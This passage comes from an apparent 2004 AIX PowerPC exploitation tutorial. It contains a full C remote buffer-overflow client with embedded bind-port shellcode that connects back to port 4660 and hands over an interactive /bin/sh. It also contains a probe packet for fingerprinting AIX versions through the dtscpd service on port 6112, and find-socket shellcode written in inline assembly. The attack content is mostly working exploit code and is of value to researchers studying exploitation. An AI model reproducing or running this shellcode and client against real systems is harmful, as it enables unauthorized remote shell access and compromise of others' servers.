r13            0xdeadbeef       -559038737
r14            0x1      1
r15            0x2ff22c08       804400136
r16            0x2ff22c10       804400144
r17            0x0      0
r18            0xdeadbeef       -559038737
r19            0xdeadbeef       -559038737
r20            0xdeadbeef       -559038737
r21            0xdeadbeef       -559038737
r22            0xdeadbeef       -559038737
r23            0xdeadbeef       -559038737
r24            0xdeadbeef       -559038737
r25            0xdeadbeef       -559038737
r26            0xdeadbeef       -559038737
r27            0xdeadbeef       -559038737
r28            0x20000640       536872512
r29            0x10000000       268435456
r30            0x3      3
r31            0x41424344       1094861636
pc             0x41424344       1094861636
ps             0x4000d032       1073795122
cr             0x2a222828       706881576
lr             0x41424344       1094861636
ctr            0x0      0
xer            0x0      0
fpscr          0x0      0
vscr           0x0      0
vrsave         0x0      0

It is easy to write the attack programme after gaining the overflow buffer size and the return address.

/* client.c -  remote overflow demo
*
*  2004.06.16
*  san@nsfocus.com
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>

// It needs adjust.
#define RET 0x2ff22d88;

unsigned char sh_Buff[] =
    "\x7e\x94\xa2\x79"     /* xor.    r20,r20,r20            */
    "\x40\x82\xff\xfd"     /* bnel    <syscallcode>          */
    "\x7e\xa8\x02\xa6"     /* mflr    r21                    */
    "\x3a\xc0\x01\xff"     /* lil     r22,0x1ff              */
    "\x3a\xf6\xfe\x2d"     /* cal     r23,-467(r22)          */
    "\x7e\xb5\xba\x14"     /* cax     r21,r21,r23            */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x20"     /* bctr                           */

    "\x05\x82\x53\xa0"     /* syscall numbers                */
    "\x87\xa0\x01\x42"     /* execve=0x05 close=0xa0         */
    "\x8d\x8c\x8b\x8a"     /* socket=0x8d bind=0x8c          */
                           /* listen=0x8b naccept=0x8a       */
                           /* kfcntl=0x142                   */

    "\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6            */
    "\x44\xff\xff\x02"     /* svca    0x0                    */
    "\x3a\xb5\xff\xf8"     /* cal     r21,-8(r21)            */

    "\x2c\x74\x12\x34"     /* cmpi    cr0,r20,0x1234         */
    "\x41\x82\xff\xfd"     /* beql    <bindsckcode>          */
    "\x7f\x08\x02\xa6"     /* mflr    r24                    */
    "\x92\x98\xff\xfc"     /* st      r20,-4(r24)            */
    "\x38\x76\xfe\x03"     /* cal     r3,-509(r22)           */
    "\x38\x96\xfe\x02"     /* cal     r4,-510(r22)           */
    "\x98\x78\xff\xf9"     /* stb     r3,-7(r24)             */
    "\x7e\x85\xa3\x78"     /* mr      r5,r20                 */
    "\x88\x55\xff\xfc"     /* lbz     r2,-4(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7c\x79\x1b\x78"     /* mr      r25,r3                 */
    "\x38\x98\xff\xf8"     /* cal     r4,-8(r24)             */
    "\x38\xb6\xfe\x11"     /* cal     r5,-495(r22)           */
    "\x88\x55\xff\xfd"     /* lbz     r2,-3(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x38\x96\xfe\x06"     /* cal     r4,-506(r22)           */
    "\x88\x55\xff\xfe"     /* lbz     r2,-2(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x7e\x84\xa3\x78"     /* mr      r4,r20                 */
    "\x7e\x85\xa3\x78"     /* mr      r5,r20                 */
    "\x88\x55\xff\xff"     /* lbz     r2,-1(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7c\x79\x1b\x78"     /* mr      r25,r3                 */
    "\x3b\x56\xfe\x03"     /* cal     r26,-509(r22)          */
    "\x7f\x43\xd3\x78"     /* mr      r3,r26                 */
    "\x88\x55\xff\xf7"     /* lbz     r2,-9(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x7e\x84\xa3\x78"     /* mr      r4,r20                 */
    "\x7f\x45\xd3\x78"     /* mr      r5,r26                 */
    "\xa0\x55\xff\xfa"     /* lhz     r2,-6(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x37\x5a\xff\xff"     /* ai.     r26,r26,-1             */
    "\x40\x80\xff\xd4"     /* bge     <bindsckcode+120>      */

    "\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5               */
    "\x40\x82\xff\xfd"     /* bnel    <shellcode>            */
    "\x7f\xe8\x02\xa6"     /* mflr    r31                    */
    "\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)         */
    "\x38\x7f\xff\x08"     /* cal     r3,-248(r31)           */
    "\x38\x9f\xff\x10"     /* cal     r4,-240(r31)           */
    "\x90\x7f\xff\x10"     /* st      r3,-240(r31)           */
    "\x90\xbf\xff\x14"     /* st      r5,-236(r31)           */
    "\x88\x55\xff\xf4"     /* lbz     r2,-12(r21)            */
    "\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)           */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x20"     /* bctr                           */
    "/bin/sh"
;

// ripped from isno
int Make_Connection(char *address,int port,int timeout)
{
    struct sockaddr_in target;
    int s,i,bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(address);
    if(target.sin_addr.s_addr==0)
    {
        close(s);
        return -2;
    }
    target.sin_port = htons(port);
    bf = 1;
    ioctl(s,FIONBIO,&bf);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        close(s);
        return -3;
    }
    if(i==0)
    {
        close(s);
        return -4;
    }
    i = sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
    if((bf!=0)||(i!=sizeof(int)))
    {
        close(s);
        return -5;
    }
    ioctl(s,FIONBIO,&bf);
    return s;
}

/* ripped from TESO code */
void shell (int sock)
{
    int     l;
    char    buf[512];
    fd_set  rfds;

    while (1) {
        FD_SET (0, &rfds);
        FD_SET (sock, &rfds);

        select (sock + 1, &rfds, NULL, NULL, NULL);

        if (FD_ISSET (0, &rfds)) {
            l = read (0, buf, sizeof (buf));
            if (l <= 0) {
                perror ("read user");
                exit (EXIT_FAILURE);
            }
            write (sock, buf, l);
        }

        if (FD_ISSET (sock, &rfds)) {
            l = read (sock, buf, sizeof (buf));
            if (l <= 0) {
                perror ("read remote");
                exit (EXIT_FAILURE);
            }
            write (1, buf, l);
        }
    }
}

void PrintSc(unsigned char *lpBuff, int buffsize)
{
    int i,j;
    char *p;
    char msg[4];
    fprintf(stderr, "/* %d bytes */\n",buffsize);
    for(i=0;i<buffsize;i++)
    {
        if((i%4)==0)
            if(i!=0)
                fprintf(stderr, "\"\n\"");
            else
                fprintf(stderr, "\"");
        sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
        for( p = msg, j=0; j < 4; p++, j++ )
        {
            if(isupper(*p))
                fprintf(stderr, "%c", _tolower(*p));
            else
                fprintf(stderr, "%c", p[0]);
        }
    }
    fprintf(stderr, "\";\n");
}

int main(int argc, char *argv[]) {
    unsigned char Buff[1024];

    unsigned long *ps;
    int s, i, k;

    if (argc < 3) {
        fprintf(stderr, "Usage: %s remote_ip remote_port\n", argv[0]);
        return -1;
    }

    s = Make_Connection(argv[1], atoi(argv[2]), 10);
    if (!s) {
        fprintf(stderr, "[-] Connect failed. \n");
        return -1;
    }

    ps = (unsigned long *)Buff;
    for(i=0; i<sizeof(Buff)/4; i++)
    {
        *(ps++) = 0x60000000;
    }
    
    i = sizeof(sh_Buff) % 4;
    
    memcpy(&Buff[sizeof(Buff) - sizeof(sh_Buff) - i], sh_Buff, sizeof(sh_Buff));

    ps = (unsigned long *)Buff;
    for(i=0; i<92/4; i++)
    {
        *(ps++) = RET;
    }
    Buff[sizeof(Buff) - 1] = 0;
    
    //PrintSc(Buff, sizeof(Buff));

    i = send(s, Buff, sizeof(Buff), 0);
    if (i <= 0) {
        fprintf(stderr, "[-] Send failed. \n");
        return -1;
    }

    sleep (1);
    
    k = Make_Connection(argv[1], 4660, 10);
    if (!k) {
        fprintf(stderr, "[-] Connect failed. \n");
        return -1;
    }

    shell(k);

}

Attack program is easy, but there are different syscall numbers in various AIX editions. In local exploit, you can use oslevel -r to determin AIX version, and then write in the corresponding syscall number. It is invalid in remote exploit. If the remote server provides dtscpd service(6112), we can send the following data to dtscpd service:

char peer0_0[] = {
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32,
0x30, 0x34, 0x30, 0x30, 0x30, 0x64, 0x30, 0x30,
0x30, 0x31, 0x20, 0x20, 0x34, 0x20, 0x00, 0x72,
0x6f, 0x6f, 0x74, 0x00, 0x00, 0x31, 0x30, 0x00,
0x00 };

The dtscpd service will return the following information about system in my box:

aix5:AIX:1:001381144C00

So we can obtain AIX version remotely, and then we write corresponding syscall number in shellcode by remote exploit.

--[ 8 - Find socket shellcode

Binding port shellcode can't be possibly connected and neither can connect back in the secure network environment protected by firewall. However, you can use the socket for attacking connect.

The LSD provides a way that uses getpeername to find socket, but there exists a problem that the port sent by attacker in the NAT network environment won't matches with the one searched by server. In addition, bkbll ever refered to another easy way that is OOB. Out of band data won't be blocked in Berkeley socket implement.

The following codes show how this shellcode to implement on AIX5.1:


void ShellCode()
{
    asm                              \
    ("                               \
Start:                              ;\
        xor.    %r20, %r20, %r20    ;\
        bnel    Start               ;\
        mflr    %r21                ;\
        addi    %r21, %r21, 12      ;\
        b       Loop                ;\
        crorc   %cr6, %cr6, %cr6    ;\
        svca    0                   ;\
                                     \
Loop:                               ;\
        li      %r2, 0x81           ;\
        mr      %r3, %r20           ;\
        addi    %r4, %r21, -40      ;\
        li      %r5, 1              ;\
        li      %r6, 1              ;\
        mtctr   %r21                ;\
        bctrl                       ;\
                                     \
        lbz     %r4, -40(%r21)      ;\
        cmpi    %cr0, %r4, 0x49     ;\
        beq     Found               ;\
        addi    %r20, %r20, 1       ;\
        b       Loop                ;\
                                     \
Found:                              ;\
        li      %r22, 2             ;\
                                     \
DupHandle:                          ;\
        li      %r2, 0xa0           ;\
        mr      %r3, %r22           ;\
        mtctr   %r21                ;\
        bctrl                       ;\
                                     \
        li      %r2, 0x142          ;\
        mr      %r3, %r20           ;\
        li      %r4, 0              ;\
        mr      %r5, %r22           ;\
        mtctr   %r21                ;\
        bctrl                       ;\
                                     \
        addic.  %r22, %r22, -1      ;\
        bge     DupHandle           ;\
                                     \
        addi    %r3, %r21, 140      ;\
        stw     %r3, -8(%r1)        ;\
        li      %r5, 0              ;\
        stw     %r5, -4(%r1)        ;\
        subi    %r4, %r1, 8         ;\
        li      %r2, 5              ;\
        crorc   %cr6, %cr6, %cr6    ;\
        svca    0                   ;\
        .byte   '/', 'b', 'i', 'n',  \
                '/', 's', 'h', 0x0  ;\
    ");
}

The AIXes of other editions need changed the corresponding syscall number.

I have a presentation about find socket shellcode in Xcon 2004, and it is in various ways on various OS.

--[ 9 - Reference

[1]  UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes
     http://lsd-pl.net/unix_assembly.html
[2]  PowerPC / OS X (Darwin) Shellcode Assembly - B-r00t
[3]  Assembler Language Reference
     http://publib16.boulder.ibm.com/pseries/en_US/aixassem/alangref/alangreftfrm.htm
[4]  PowerPC Microprocessor Family: The Programming Environments for 32-Bit Microprocessors
     http://www-3.ibm.com/chips/techlib/techlib.nsf/techdocs/852569B20050FF778525699600719DF2/$file/6xx_pem.pdf
[5]  OPTIMIZING PowerPC CODE - Gary Kacmarcik
[6]  PowerPC assembly
     http://www-900.ibm.com/developerWorks/cn/linux/hardware/ppc/assembly/index_eng.shtml
[7]  A developer's guide to the PowerPC architecture
     http://www-900.ibm.com/developerWorks/cn/linux/l-powarch/index_eng.shtml
[8]  [Tips]AIX (PPC)??exploite 1?
     https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=28177
[9]  http://aixpdslib.seas.ucla.edu/
[10] 64-bit PowerPC ELF Application Binary Interface Supplement 1.7
     http://www.linuxbase.org/spec/ELF/ppc64/spec/book1.html
[11] Mach-O Runtime Conventions for PowerPC
     http://developer.apple.com/documentation/DeveloperTools/Conceptual/MachORuntime/2rt_powerpc_abi/chapter_9_section_1.html
[12] Programmer's Introduction to PowerPC
     http://physinfo-mac0.ulb.ac.be/divers_html/PowerPC_Programming_Info/intro_to_ppc/ppc0_index.html
[13] http://www.honeynet.org/scans/scan28/